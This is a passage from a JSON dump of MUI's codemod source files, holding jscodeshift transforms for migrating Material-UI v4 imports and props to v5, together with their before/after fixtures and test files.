    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './material-ui-styles';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('material-ui-styles', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./material-ui-styles.test/actual.js'),\n            path: require.resolve('./material-ui-styles.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./material-ui-styles.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./material-ui-styles.test/expected.js'),\n            path: require.resolve('./material-ui-styles.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./material-ui-styles.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('remove no variable import', () => {\n        const actual = transform(\n          {\n            source: read('./material-ui-styles.test/single-import.actual.js'),\n            path: require.resolve('./material-ui-styles.test/single-import.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./material-ui-styles.test/single-import.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transform core import', () => {\n        const actual = transform(\n          {\n            source: read('./material-ui-styles.test/core-import.actual.js'),\n            path: require.resolve('./material-ui-styles.test/core-import.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./material-ui-styles.test/core-import.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transform types import', () => {\n        const actual = transform(\n          {\n            source: read('./material-ui-styles.test/types-import.actual.js'),\n            path: require.resolve('./material-ui-styles.test/types-import.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./material-ui-styles.test/types-import.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-types.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  let importName = '';\n\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => node.source.value.match(/^@material-ui\\/types\\/?$/))\n    .forEach((path) => {\n      let previousVarName;\n      path.node.specifiers.forEach((node) => {\n        if (!node.imported && node.local.name === 'Omit') {\n          // default specifier\n          previousVarName = node.local.name;\n          node.local.name = 'DistributiveOmit';\n        }\n\n        if (node.imported && node.imported.name === 'Omit') {\n          previousVarName = node.local.name;\n          node.local = null;\n          node.imported.name = 'DistributiveOmit';\n        }\n      });\n\n      if (previousVarName) {\n        importName = previousVarName;\n      }\n    });\n\n  const source = root.toSource(printOptions);\n  if (importName) {\n    return source.replace(/([^a-zA-Z])Omit</gm, '$1DistributiveOmit<');\n  }\n  return source;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-types.test/actual.js",
    "content": "import { Omit } from '@material-ui/types';\n\n// Omit<{}, ''>\n// Extract<Omit<{}, ''>, ''>\n// Extract<DistributiveOmit<{}, ''>, ''>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-types.test/expected.js",
    "content": "import { DistributiveOmit } from '@material-ui/types';\n\n// DistributiveOmit<{}, ''>\n// Extract<DistributiveOmit<{}, ''>, ''>\n// Extract<DistributiveOmit<{}, ''>, ''>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-types.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './material-ui-types';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('material-ui-types', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./material-ui-types.test/actual.js'),\n            path: require.resolve('./material-ui-types.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./material-ui-types.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./material-ui-types.test/expected.js'),\n            path: require.resolve('./material-ui-types.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./material-ui-types.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/modal-props.js",
    "content": "import { EOL } from 'os';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  let hasDisableBackdropClick = false;\n  let handleOnEscapeKeyDown = false;\n\n  let source = j(file.source)\n    .findJSXElements('Modal')\n\n    .forEach((path) => {\n      const attributes = path.node.openingElement.attributes;\n      attributes.forEach((node, index) => {\n        if (node.type === 'JSXAttribute') {\n          if (node.name.name === 'disableBackdropClick') {\n            hasDisableBackdropClick = true;\n            delete attributes[index];\n          }\n          if (node.name.name === 'onEscapeKeyDown') {\n            handleOnEscapeKeyDown = true;\n            delete attributes[index];\n          }\n        }\n      });\n    })\n    .toSource(printOptions);\n\n  if (hasDisableBackdropClick) {\n    source = source.replace(\n      /(<Modal)([\\s\\S]*>)/gm,\n      `$1// You can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#modal)${EOL}$2`,\n    );\n  }\n\n  if (hasDisableBackdropClick) {\n    source = source.replace(\n      /(<Modal)([\\s\\S]*>)/gm,\n      `$1// \\`disableBackdropClick\\` is removed by codemod.${EOL}$2`,\n    );\n  }\n\n  if (handleOnEscapeKeyDown) {\n    source = source.replace(\n      /(<Modal)([\\s\\S]*>)/gm,\n      `$1${EOL}// \\`handleOnEscapeKeyDown\\` is removed by codemod.${EOL}$2`,\n    );\n  }\n\n  return source;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/modal-props.test/actual.js",
    "content": "<Modal disableBackdropClick onEscapeKeyDown={handleEscapeKeyDown} onClose={handleClose} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/modal-props.test/expected.js",
    "content": "<Modal\n// `handleOnEscapeKeyDown` is removed by codemod.\n// `disableBackdropClick` is removed by codemod.\n// You can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#modal)\n onClose={handleClose} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/modal-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './modal-props';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('modal-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./modal-props.test/actual.js'),\n            path: require.resolve('./modal-props.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./modal-props.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./modal-props.test/expected.js'),\n            path: require.resolve('./modal-props.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./modal-props.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/moved-lab-modules.js",
    "content": "const movedLabModules = [\n  'Alert',\n  'AlertTitle',\n  'Autocomplete',\n  'AvatarGroup',\n  'Pagination',\n  'Rating',\n  'Skeleton',\n  'SpeedDial',\n  'SpeedDialAction',\n  'SpeedDialIcon',\n  'ToggleButton',\n  'ToggleButtonGroup',\n];\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const printOptions = options.printOptions || { quote: 'single' };\n\n  return j(file.source)\n    .find(j.ImportDeclaration)\n    .forEach((path) => {\n      const importSource = path.node.source.value;\n      const subPackageImportMatch = importSource.match(/@material-ui\\/lab\\/(.*)/);\n      if (subPackageImportMatch !== null) {\n        const componentName = subPackageImportMatch[1];\n\n        if (movedLabModules.includes(componentName)) {\n          /**\n           * @type {import('jscodeshift').ASTPath}\n           */\n          const sourcePath = path.get('source');\n          sourcePath.replace(j.stringLiteral(`@material-ui/core/${componentName}`));\n        }\n      } else if (importSource === '@material-ui/lab') {\n        // Sieve import specifiers into /core and /lab\n        const labImportSpecifiers = [];\n        const coreImportSpecifiers = [];\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier') {\n            if (movedLabModules.includes(specifier.imported.name)) {\n              coreImportSpecifiers.push(specifier);\n            } else {\n              labImportSpecifiers.push(specifier);\n            }\n          } else {\n            // `import Lab from '@material-ui/lab'`\n            // `import * as Lab from '@material-ui/lab'`\n            // These imports would require scope analysis.\n            console.warn(`Can't handle ${specifier.type}`);\n          }\n        });\n\n        if (coreImportSpecifiers.length > 0) {\n          path.replace(\n            j.importDeclaration(coreImportSpecifiers, j.stringLiteral('@material-ui/core')),\n            j.importDeclaration(labImportSpecifiers, j.stringLiteral('@material-ui/lab')),\n          );\n        }\n      }\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/moved-lab-modules.test/actual.js",
    "content": "import Skeleton from '@material-ui/lab/Skeleton';\nimport { Rating as LabRating, SpeedDial, Timeline } from '@material-ui/lab';\nimport { Button } from '@material-ui/core';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/moved-lab-modules.test/expected.js",
    "content": "import Skeleton from '@material-ui/core/Skeleton';\nimport { Rating as LabRating, SpeedDial } from '@material-ui/core';\nimport { Timeline } from '@material-ui/lab';\nimport { Button } from '@material-ui/core';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/moved-lab-modules.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './moved-lab-modules';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('moved-lab-modules', () => {\n      it('transforms exports as needed', () => {\n        const actual = transform(\n          {\n            source: read('./moved-lab-modules.test/actual.js'),\n            path: require.resolve('./moved-lab-modules.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./moved-lab-modules.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./moved-lab-modules.test/expected.js'),\n            path: require.resolve('./moved-lab-modules.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./moved-lab-modules.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/mui-replace.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n */\nexport default function transformer(file) {\n  return file.source\n    .replace(/@material-ui\\/unstyled/gm, '@mui/base')\n    .replace(/@material-ui\\/core/gm, '@mui/material')\n    .replace(/@material-ui\\/icons/gm, '@mui/icons-material')\n    .replace(/@material-ui\\/(?!(pickers|data-grid|x-grid))/gm, '@mui/');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/mui-replace.test/actual.js",
    "content": "// material-design\nimport { createTheme, alpha } from '@material-ui/core/styles';\nimport { Button, Tooltip } from '@material-ui/core';\nimport Alert from '@material-ui/core/Alert';\nimport useAutocomplete from '@material-ui/core/useAutocomplete';\n\n// styles\nimport { makeStyles } from '@material-ui/styles';\nimport createStyles from '@material-ui/styles/createStyles';\n\n// unstyled\nimport { SliderUnstyled } from '@material-ui/unstyled';\nimport SwitchUnstyled from '@material-ui/unstyled/SwitchUnstyled';\n\n// system\nimport { SxProps } from '@material-ui/system';\nimport ThemeProvider from '@material-ui/system/ThemeProvider';\n\n// utils\nimport { deepmerge } from '@material-ui/utils';\n\n// icons\nimport Edit from '@material-ui/icons/Edit';\n\n// lab\nimport Mansory from '@material-ui/lab/Mansory';\nimport { DateRangePicker } from '@material-ui/lab';\n\n// styled engine\nmodule.exports = override(\n  addWebpackAlias({\n    '@material-ui/styled-engine': '@material-ui/styled-engine-sc',\n  }),\n);\n// json\nconst dependencies = {\n  '@material-ui/core': 'next',\n  '@material-ui/lab': 'next',\n  '@material-ui/styled-engine-sc': 'next',\n  // whitelist packages below\n  '@material-ui/data-grid': '^4.0.0-alpha.36',\n  '@material-ui/x-grid': '^4.0.0-alpha.36',\n  '@material-ui/x-grid-data-generator': '^4.0.0-alpha.36',\n};\nconst tsconfig = {\n  paths: {\n    '@material-ui/styled-engine': ['./node_modules/@material-ui/styled-engine-sc'],\n  },\n};\n\n// types\nimport { DistributiveOmit } from '@material-ui/types';\n\n// private-theming\nimport { ThemeProvider as PrivateThemeProvider } from '@material-ui/private-theming';\n\n// Pickers does not change\nimport { DatePicker } from '@material-ui/pickers';\n\n// DataGrid does not change\nimport { DataGrid } from '@material-ui/data-grid';\nimport { XGrid } from '@material-ui/x-grid';\nimport { useDemoData } from '@material-ui/x-grid-data-generator';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/mui-replace.test/expected.js",
    "content": "// material-design\nimport { createTheme, alpha } from '@mui/material/styles';\nimport { Button, Tooltip } from '@mui/material';\nimport Alert from '@mui/material/Alert';\nimport useAutocomplete from '@mui/material/useAutocomplete';\n\n// styles\nimport { makeStyles } from '@mui/styles';\nimport createStyles from '@mui/styles/createStyles';\n\n// unstyled\nimport { SliderUnstyled } from '@mui/base';\nimport SwitchUnstyled from '@mui/base/SwitchUnstyled';\n\n// system\nimport { SxProps } from '@mui/system';\nimport ThemeProvider from '@mui/system/ThemeProvider';\n\n// utils\nimport { deepmerge } from '@mui/utils';\n\n// icons\nimport Edit from '@mui/icons-material/Edit';\n\n// lab\nimport Mansory from '@mui/lab/Mansory';\nimport { DateRangePicker } from '@mui/lab';\n\n// styled engine\nmodule.exports = override(\n  addWebpackAlias({\n    '@mui/styled-engine': '@mui/styled-engine-sc',\n  }),\n);\n// json\nconst dependencies = {\n  '@mui/material': 'next',\n  '@mui/lab': 'next',\n  '@mui/styled-engine-sc': 'next',\n  // whitelist packages below\n  '@material-ui/data-grid': '^4.0.0-alpha.36',\n  '@material-ui/x-grid': '^4.0.0-alpha.36',\n  '@material-ui/x-grid-data-generator': '^4.0.0-alpha.36',\n};\nconst tsconfig = {\n  paths: {\n    '@mui/styled-engine': ['./node_modules/@mui/styled-engine-sc'],\n  },\n};\n\n// types\nimport { DistributiveOmit } from '@mui/types';\n\n// private-theming\nimport { ThemeProvider as PrivateThemeProvider } from '@mui/private-theming';\n\n// Pickers does not change\nimport { DatePicker } from '@material-ui/pickers';\n\n// DataGrid does not change\nimport { DataGrid } from '@material-ui/data-grid';\nimport { XGrid } from '@material-ui/x-grid';\nimport { useDemoData } from '@material-ui/x-grid-data-generator';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/mui-replace.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './mui-replace';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@material-ui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('mui-replace', () => {\n      it('replace material-ui with mui', () => {\n        const actual = transform(\n          {\n            source: read('./mui-replace.test/actual.js'),\n            path: require.resolve('./mui-replace.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./mui-replace.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./mui-replace.test/expected.js'),\n            path: require.resolve('./mui-replace.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./mui-replace.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/optimal-imports.js",
    "content": "import { dirname } from 'path';\nimport addImports from 'jscodeshift-add-imports';\nimport getJSExports from '../util/getJSExports';\n\nexport default function transformer(fileInfo, api, options) {\n  const j = api.jscodeshift;\n  const importModule = options.importModule || '@material-ui/core';\n  const targetModule = options.targetModule || '@material-ui/core';\n  const printOptions = options.printOptions || {\n    quote: 'single',\n    trailingComma: true,\n  };\n\n  const root = j(fileInfo.source);\n  const importRegExp = new RegExp(`^${importModule}/([^/]+/)+([^/]+)$`);\n\n  const resultSpecifiers = new Map();\n\n  const addSpecifier = (source, specifier) => {\n    if (!resultSpecifiers.has(source)) {\n      resultSpecifiers.set(source, []);\n    }\n    resultSpecifiers.get(source).push(specifier);\n  };\n\n  root.find(j.ImportDeclaration).forEach((path) => {\n    if (path.value.importKind && path.value.importKind !== 'value') {\n      return;\n    }\n    const importPath = path.value.source.value.replace(/(index)?(\\.js)?$/, '');\n    const match = importPath.match(importRegExp);\n    if (!match) {\n      return;\n    }\n\n    const subpath = match[1].replace(/\\/$/, '');\n\n    if (/^(internal)/.test(subpath)) {\n      return;\n    }\n    const targetImportPath = `${targetModule}/${subpath}`;\n\n    let loader;\n    try {\n      loader = require.resolve(`${importModule}/modern/${subpath}`, {\n        paths: [dirname(fileInfo.path)],\n      });\n    } catch (error) {\n      loader = require.resolve(`${importModule}/es/${subpath}`, {\n        paths: [dirname(fileInfo.path)],\n      });\n    }\n\n    const whitelist = getJSExports(loader);\n\n    path.node.specifiers.forEach((specifier, index) => {\n      if (!path.node.specifiers.length) {\n        return;\n      }\n\n      if (specifier.importKind && specifier.importKind !== 'value') {\n        return;\n      }\n      if (specifier.type === 'ImportNamespaceSpecifier') {\n        return;\n      }\n      const localName = specifier.local.name;\n      switch (specifier.type) {\n        case 'ImportNamespaceSpecifier':\n          return;\n        case 'ImportDefaultSpecifier': {\n          const moduleName = match[2];\n          if (!whitelist.has(moduleName) && moduleName !== 'withStyles') {\n            return;\n          }\n          addSpecifier(\n            targetImportPath,\n            j.importSpecifier(j.identifier(moduleName), j.identifier(localName)),\n          );\n          path.get('specifiers', index).prune();\n          break;\n        }\n        case 'ImportSpecifier':\n          if (!whitelist.has(specifier.imported.name)) {\n            return;\n          }\n          addSpecifier(targetImportPath, specifier);\n          path.get('specifiers', index).prune();\n          break;\n        default:\n          break;\n      }\n    });\n\n    if (!path.node.specifiers.length) {\n      path.prune();\n    }\n  });\n\n  addImports(\n    root,\n    [...resultSpecifiers.keys()].map((source) =>\n      j.importDeclaration(resultSpecifiers.get(source), j.stringLiteral(source)),\n    ),\n  );\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/optimal-imports.test/actual.js",
    "content": "import MenuItem from '@material-ui/core/MenuItem';\nimport red from '@material-ui/core/colors/red';\nimport useTheme from '@material-ui/core/styles/useTheme';\nimport Tab from '@material-ui/core/Tab';\nimport { green as greenColor } from '@material-ui/core/colors';\nimport MuiTabs from '@material-ui/core/Tabs';\nimport createTheme from '@material-ui/core/styles/createTheme';\nimport yellow from '@material-ui/core/colors/yellow';\nimport TableContext from '@material-ui/core/Table/TableContext';\nimport SwitchBase from '@material-ui/core/internal/SwitchBase';\nimport Ripple from '@material-ui/core/ButtonBase/Ripple';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/optimal-imports.test/expected.js",
    "content": "import MenuItem from '@material-ui/core/MenuItem';\nimport Tab from '@material-ui/core/Tab';\nimport { green as greenColor, red, yellow } from '@material-ui/core/colors';\nimport MuiTabs from '@material-ui/core/Tabs';\nimport TableContext from '@material-ui/core/Table/TableContext';\nimport SwitchBase from '@material-ui/core/internal/SwitchBase';\nimport Ripple from '@material-ui/core/ButtonBase/Ripple';\nimport { useTheme, createTheme } from '@material-ui/core/styles';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/optimal-imports.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './optimal-imports';\nimport readFile from '../util/readFile';\n\nfunction trim(str) {\n  return str ? str.replace(/^\\s+|\\s+$/, '') : '';\n}\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('optimal-imports', () => {\n      it('convert path as needed', () => {\n        const actual = transform(\n          {\n            source: read('./optimal-imports.test/actual.js'),\n            path: require.resolve('./optimal-imports.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./optimal-imports.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./optimal-imports.test/expected.js'),\n            path: require.resolve('./optimal-imports.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./optimal-imports.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/pagination-round-circular.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  const source = j(file.source)\n    .find(j.JSXElement)\n    .filter(({ node }) => node.openingElement.name.name?.match(/^(Pagination|PaginationItem)$/))\n    .forEach((path) => {\n      path.node.openingElement.attributes.forEach((node) => {\n        if (\n          node.type === 'JSXAttribute' &&\n          node.name.name === 'shape' &&\n          (node.value.value === 'round' || node.value.expression?.value === 'round')\n        ) {\n          node.value = j.literal('circular');\n        }\n\n        if (node.type === 'JSXAttribute' && node.name.name === 'classes') {\n          (node.value?.expression?.properties || []).forEach((subNode) => {\n            if (subNode.key.name === 'round') {\n              subNode.key.name = 'circular';\n            }\n          });\n        }\n      });\n    })\n    .toSource(printOptions);\n  return source.replace(/\\.(MuiPagination|MuiPaginationItem)-round/gm, '.$1-circular');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/pagination-round-circular.test/actual.js",
    "content": "<div>\n  <Pagination shape=\"round\" />\n  <PaginationItem shape={'round'} />\n  <Box\n    sx={{\n      '& .MuiPagination-round': {\n        background: 'red',\n      },\n      '& .MuiPaginationItem-round': {\n        background: 'red',\n      },\n      '& .CustomPaginationItem-round': {\n        background: 'red',\n      },\n    }}\n  />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/pagination-round-circular.test/expected.js",
    "content": "<div>\n  <Pagination shape=\"circular\" />\n  <PaginationItem shape=\"circular\" />\n  <Box\n    sx={{\n      '& .MuiPagination-circular': {\n        background: 'red',\n      },\n      '& .MuiPaginationItem-circular': {\n        background: 'red',\n      },\n      '& .CustomPaginationItem-round': {\n        background: 'red',\n      },\n    }}\n  />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/pagination-round-circular.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './pagination-round-circular';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('pagination-round-circular', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./pagination-round-circular.test/actual.js'),\n            path: require.resolve('./pagination-round-circular.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./pagination-round-circular.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./pagination-round-circular.test/expected.js'),\n            path: require.resolve('./pagination-round-circular.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./pagination-round-circular.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/path-imports.js",
    "content": "import addImports from 'jscodeshift-add-imports';\n\nconst barrelImportsToTransform = {\n  material: {},\n  'icons-material': {},\n};\nconst muiImportRegExp = /^@mui\\/([^/]+)$/;\n\nexport default function transformer(fileInfo, api, options) {\n  const j = api.jscodeshift;\n  const printOptions = options.printOptions || {\n    quote: 'single',\n    trailingComma: true,\n  };\n\n  const root = j(fileInfo.source);\n\n  root.find(j.ImportDeclaration).forEach((path) => {\n    if (!path.node.specifiers.length) {\n      return;\n    }\n\n    if (path.value.importKind && path.value.importKind !== 'value') {\n      return;\n    }\n\n    const importPath = path.value.source.value;\n\n    const match = importPath.match(muiImportRegExp);\n    if (!match) {\n      return;\n    }\n\n    const moduleName = match[1];\n    const importsToAdd = barrelImportsToTransform[moduleName];\n\n    if (!importsToAdd) {\n      return;\n    }\n\n    const indexesToPrune = [];\n\n    path.node.specifiers.forEach((specifier, index) => {\n      if (specifier.importKind && specifier.importKind !== 'value') {\n        return;\n      }\n      if (specifier.type === 'ImportNamespaceSpecifier') {\n        return;\n      }\n\n      if (specifier.type === 'ImportSpecifier') {\n        const name = specifier.imported.name;\n        if (moduleName === 'material') {\n          if (name === 'ThemeProvider' || name === 'createTheme') {\n            importsToAdd.styles ??= [];\n            importsToAdd.styles.push(specifier);\n            indexesToPrune.push(index);\n            return;\n          }\n\n          if (name.endsWith('Classes')) {\n            const base = name.replace(/Classes$/, '');\n            const componentName = base.charAt(0).toUpperCase() + base.slice(1); // autocomplete → Autocomplete\n            importsToAdd[componentName] ??= [];\n            importsToAdd[componentName].push(\n              j.importSpecifier(specifier.imported, specifier.local),\n            );\n            indexesToPrune.push(index);\n            return;\n          }\n        }\n\n        importsToAdd[name] ??= [];\n        importsToAdd[name].push(j.importDefaultSpecifier(specifier.local));\n\n        indexesToPrune.push(index);\n      }\n    });\n\n    // We prune imports starting with the highest index as otherwise subsequent indexes would become\n    // invalid once an index that comes before it gets pruned.\n    indexesToPrune.sort((a, b) => a - b).reverse();\n    indexesToPrune.forEach((index) => path.get('specifiers', index).prune());\n\n    if (!path.node.specifiers.length) {\n      path.prune();\n    }\n  });\n\n  Object.entries(barrelImportsToTransform).forEach(([moduleName, importsToAdd]) => {\n    Object.entries(importsToAdd).forEach(([module, specifiers]) => {\n      const fullTargetModule = `@mui/${moduleName}/${module}`;\n      addImports(root, j.importDeclaration(specifiers, j.stringLiteral(fullTargetModule)));\n    });\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/path-imports.test/actual.js",
    "content": "\nimport { withStyles } from '@mui/styles';\n\nimport { grey, blue } from '@mui/material/colors';\nimport { grey as grey2 } from '@mui/material/colors';\nimport { blue as blue2 } from '@mui/material/colors';\n\nimport {\n  ThemeProvider,\n  createTheme,\n  MenuItem,\n  Tab,\n  Tabs as MuiTabs,\n  autocompleteClasses,\n  BottomNavigationAction,\n  BottomNavigation,\n  CardContent,\n  CardActions,\n  Card,\n  CardMedia,\n  CardHeader,\n  Collapse as MuiCollapse,\n  ListItemSecondaryAction,\n  ListItemText,\n  ListItemAvatar,\n  ListItem,\n  ListItemIcon,\n  List,\n  DialogTitle,\n  Dialog,\n  DialogContentText,\n  DialogContent,\n  DialogActions,\n  Slide,\n  RadioGroup,\n  Radio,\n  FormControlLabel,\n  AccordionActions,\n  AccordionDetails,\n  AccordionSummary,\n  Accordion,\n  CircularProgress,\n  LinearProgress as MuiLinearProgress,\n  FormHelperText,\n  FormGroup,\n  FormControl,\n  FormLabel,\n  Fade,\n  StepContent,\n  StepButton,\n  Step,\n  Stepper,\n  TableRow,\n  TablePagination,\n  TableCell,\n  TableBody,\n  Table,\n  TableHead,\n  tooltipClasses,\n  InputLabel,\n  Input,\n  Grow,\n  TableFooter,\n  Zoom,\n  ClickAwayListener,\n  ListSubheader,\n} from '@mui/material';\n\nimport { Delete, People as PeopleIcon } from '@mui/icons-material';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/path-imports.test/expected.js",
